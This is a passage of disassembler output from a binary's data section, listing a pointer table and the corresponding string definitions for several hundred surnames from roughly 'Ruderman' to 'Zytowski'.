		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush_0	; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange_0	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle_0	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite_0	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee_0	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: .nsp0:00431CC8o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .nsp0:00431CC4o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: .nsp0:00431CC0o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .nsp0:00431CBCo
aZoldak		db 'Zoldak',0           ; DATA XREF: .nsp0:00431CB8o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: .nsp0:00431CB4o
aZegans		db 'Zegans',0           ; DATA XREF: .nsp0:00431CB0o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: .nsp0:00431CACo
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: .nsp0:00431CA8o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .nsp0:00431CA4o
aYu		db 'Yu',0               ; DATA XREF: .nsp0:00431CA0o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: .nsp0:00431C9Co
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .nsp0:00431C98o
aYoffe		db 'Yoffe',0            ; DATA XREF: .nsp0:00431C94o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: .nsp0:00431C90o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: .nsp0:00431C8Co
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: .nsp0:00431C88o
aYbarra		db 'Ybarra',0           ; DATA XREF: .nsp0:00431C84o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: .nsp0:00431C80o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .nsp0:00431C7Co
aYankee_0	db 'Yankee',0           ; DATA XREF: .nsp0:00431C78o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .nsp0:00431C74o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: .nsp0:00431C70o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: .nsp0:00431C6Co
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .nsp0:00431C68o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .nsp0:00431C64o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .nsp0:00431C60o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: .nsp0:00431C5Co
		align 4
aWoo		db 'Woo',0              ; DATA XREF: .nsp0:00431C58o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .nsp0:00431C54o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .nsp0:00431C50o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: .nsp0:00431C4Co
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .nsp0:00431C48o
aVitali		db 'Vitali',0           ; DATA XREF: .nsp0:00431C44o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: .nsp0:00431C40o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: .nsp0:00431C3Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: .nsp0:00431C38o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .nsp0:00431C34o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .nsp0:00431C30o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: .nsp0:00431C2Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .nsp0:00431C28o
aWilder		db 'Wilder',0           ; DATA XREF: .nsp0:00431C24o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .nsp0:00431C20o
aViens		db 'Viens',0            ; DATA XREF: .nsp0:00431C1Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: .nsp0:00431C18o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .nsp0:00431C14o
aViano		db 'Viano',0            ; DATA XREF: .nsp0:00431C10o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: .nsp0:00431C0Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: .nsp0:00431C08o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .nsp0:00431C04o
		align 4
aWhite_0	db 'White',0            ; DATA XREF: .nsp0:00431C00o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: .nsp0:00431BFCo
aWhately	db 'Whately',0          ; DATA XREF: .nsp0:00431BF8o
aWetzel		db 'Wetzel',0           ; DATA XREF: .nsp0:00431BF4o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .nsp0:00431BF0o
aVerghese	db 'Verghese',0         ; DATA XREF: .nsp0:00431BECo
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: .nsp0:00431BE8o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .nsp0:00431BE4o
aWelsh		db 'Welsh',0            ; DATA XREF: .nsp0:00431BE0o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .nsp0:00431BDCo
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: .nsp0:00431BD8o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .nsp0:00431BD4o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .nsp0:00431BD0o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .nsp0:00431BCCo
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: .nsp0:00431BC8o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .nsp0:00431BC4o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: .nsp0:00431BC0o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: .nsp0:00431BBCo
aWasowska	db 'Wasowska',0         ; DATA XREF: .nsp0:00431BB8o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .nsp0:00431BB4o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .nsp0:00431BB0o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .nsp0:00431BACo
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .nsp0:00431BA8o
aVanallen	db 'vanAllen',0         ; DATA XREF: .nsp0:00431BA4o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: .nsp0:00431BA0o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .nsp0:00431B9Co
		align 4
aWales		db 'Wales',0            ; DATA XREF: .nsp0:00431B98o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: .nsp0:00431B94o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .nsp0:00431B90o
aWaite		db 'Waite',0            ; DATA XREF: .nsp0:00431B8Co
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .nsp0:00431B88o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: .nsp0:00431B84o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .nsp0:00431B80o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .nsp0:00431B7Co
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: .nsp0:00431B78o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .nsp0:00431B74o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .nsp0:00431B70o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .nsp0:00431B6Co
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .nsp0:00431B68o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: .nsp0:00431B64o
		align 4
aTuttle_0	db 'Tuttle',0           ; DATA XREF: .nsp0:00431B60o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: .nsp0:00431B5Co
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .nsp0:00431B58o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: .nsp0:00431B54o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .nsp0:00431B50o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: .nsp0:00431B4Co
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .nsp0:00431B48o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: .nsp0:00431B44o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .nsp0:00431B40o
aTruss		db 'Truss',0            ; DATA XREF: .nsp0:00431B3Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: .nsp0:00431B38o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .nsp0:00431B34o
aTringali	db 'Tringali',0         ; DATA XREF: .nsp0:00431B30o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .nsp0:00431B2Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .nsp0:00431B28o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .nsp0:00431B24o
		align 4
aToye		db 'Toye',0             ; DATA XREF: .nsp0:00431B20o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: .nsp0:00431B1Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: .nsp0:00431B18o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: .nsp0:00431B14o
aTopulos	db 'Topulos',0          ; DATA XREF: .nsp0:00431B10o
aToomer		db 'Toomer',0           ; DATA XREF: .nsp0:00431B0Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .nsp0:00431B08o
aTolman		db 'Tolman',0           ; DATA XREF: .nsp0:00431B04o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .nsp0:00431B00o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .nsp0:00431AFCo
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: .nsp0:00431AF8o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .nsp0:00431AF4o
aTill		db 'Till',0             ; DATA XREF: .nsp0:00431AF0o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .nsp0:00431AECo
aThroop		db 'Throop',0           ; DATA XREF: .nsp0:00431AE8o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: .nsp0:00431AE4o
aThisted	db 'Thisted',0          ; DATA XREF: .nsp0:00431AE0o
aThibault	db 'Thibault',0         ; DATA XREF: .nsp0:00431ADCo
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .nsp0:00431AD8o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .nsp0:00431AD4o
		align 4
aThan		db 'Than',0             ; DATA XREF: .nsp0:00431AD0o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .nsp0:00431ACCo
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: .nsp0:00431AC8o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .nsp0:00431AC4o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: .nsp0:00431AC0o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .nsp0:00431ABCo
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .nsp0:00431AB8o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: .nsp0:00431AB4o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .nsp0:00431AB0o
aTatar		db 'Tatar',0            ; DATA XREF: .nsp0:00431AACo
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .nsp0:00431AA8o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: .nsp0:00431AA4o
aTambiah	db 'Tambiah',0          ; DATA XREF: .nsp0:00431AA0o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .nsp0:00431A9Co
		align 4
aTai		db 'Tai',0              ; DATA XREF: .nsp0:00431A98o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .nsp0:00431A94o
aSwindle	db 'Swindle',0          ; DATA XREF: .nsp0:00431A90o
aSweetser	db 'Sweetser',0         ; DATA XREF: .nsp0:00431A8Co
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .nsp0:00431A88o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: .nsp0:00431A84o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: .nsp0:00431A80o
aSumner		db 'Sumner',0           ; DATA XREF: .nsp0:00431A7Co
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .nsp0:00431A78o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: .nsp0:00431A74o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: .nsp0:00431A70o
aStrauch	db 'Strauch',0          ; DATA XREF: .nsp0:00431A6Co
aStrange_0	db 'Strange',0          ; DATA XREF: .nsp0:00431A68o
aStott		db 'Stott',0            ; DATA XREF: .nsp0:00431A64o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: .nsp0:00431A60o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: .nsp0:00431A5Co
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .nsp0:00431A58o
aStockwell	db 'Stockwell',0        ; DATA XREF: .nsp0:00431A54o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .nsp0:00431A50o
		align 4
aStock		db 'Stock',0            ; DATA XREF: .nsp0:00431A4Co
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: .nsp0:00431A48o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .nsp0:00431A44o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .nsp0:00431A40o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .nsp0:00431A3Co
aStephanian	db 'Stephanian',0       ; DATA XREF: .nsp0:00431A38o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: .nsp0:00431A34o
aStefani	db 'Stefani',0          ; DATA XREF: .nsp0:00431A30o
aStatlender	db 'Statlender',0       ; DATA XREF: .nsp0:00431A2Co
		align 4
aStates		db 'States',0           ; DATA XREF: .nsp0:00431A28o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .nsp0:00431A24o
		align 4
aStang		db 'Stang',0            ; DATA XREF: .nsp0:00431A20o
		align 4
aStam		db 'Stam',0             ; DATA XREF: .nsp0:00431A1Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .nsp0:00431A18o
aStmartin	db 'StMartin',0         ; DATA XREF: .nsp0:00431A14o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: .nsp0:00431A10o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .nsp0:00431A0Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .nsp0:00431A08o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: .nsp0:00431A04o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .nsp0:00431A00o
aSpence		db 'Spence',0           ; DATA XREF: .nsp0:004319FCo
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .nsp0:004319F8o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .nsp0:004319F4o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: .nsp0:004319F0o
aSpanier	db 'Spanier',0          ; DATA XREF: .nsp0:004319ECo
aSoultanian	db 'Soultanian',0       ; DATA XREF: .nsp0:004319E8o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .nsp0:004319E4o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: .nsp0:004319E0o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .nsp0:004319DCo
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: .nsp0:004319D8o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .nsp0:004319D4o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: .nsp0:004319D0o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: .nsp0:004319CCo
		align 4
aSolon		db 'Solon',0            ; DATA XREF: .nsp0:004319C8o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: .nsp0:004319C4o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .nsp0:004319C0o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: .nsp0:004319BCo
aSmilow		db 'Smilow',0           ; DATA XREF: .nsp0:004319B8o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: .nsp0:004319B4o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: .nsp0:004319B0o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: .nsp0:004319ACo
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: .nsp0:004319A8o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: .nsp0:004319A4o
		align 4
aSites		db 'Sites',0            ; DATA XREF: .nsp0:004319A0o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: .nsp0:0043199Co
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .nsp0:00431998o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .nsp0:00431994o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: .nsp0:00431990o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: .nsp0:0043198Co
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: .nsp0:00431988o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: .nsp0:00431984o
aSiesto		db 'Siesto',0           ; DATA XREF: .nsp0:00431980o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: .nsp0:0043197Co
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .nsp0:00431978o
aShia		db 'Shia',0             ; DATA XREF: .nsp0:00431974o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .nsp0:00431970o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .nsp0:0043196Co
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: .nsp0:00431968o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .nsp0:00431964o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: .nsp0:00431960o
		align 4
aShea		db 'Shea',0             ; DATA XREF: .nsp0:0043195Co
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: .nsp0:00431958o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: .nsp0:00431954o
aShar		db 'Shar',0             ; DATA XREF: .nsp0:00431950o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: .nsp0:0043194Co
aShankland	db 'Shankland',0        ; DATA XREF: .nsp0:00431948o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: .nsp0:00431944o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: .nsp0:00431940o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: .nsp0:0043193Co
aSexton		db 'Sexton',0           ; DATA XREF: .nsp0:00431938o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .nsp0:00431934o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: .nsp0:00431930o
aSen		db 'Sen',0              ; DATA XREF: .nsp0:0043192Co
aSelvage	db 'Selvage',0          ; DATA XREF: .nsp0:00431928o
aSekler		db 'Sekler',0           ; DATA XREF: .nsp0:00431924o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: .nsp0:00431920o
		align 10h
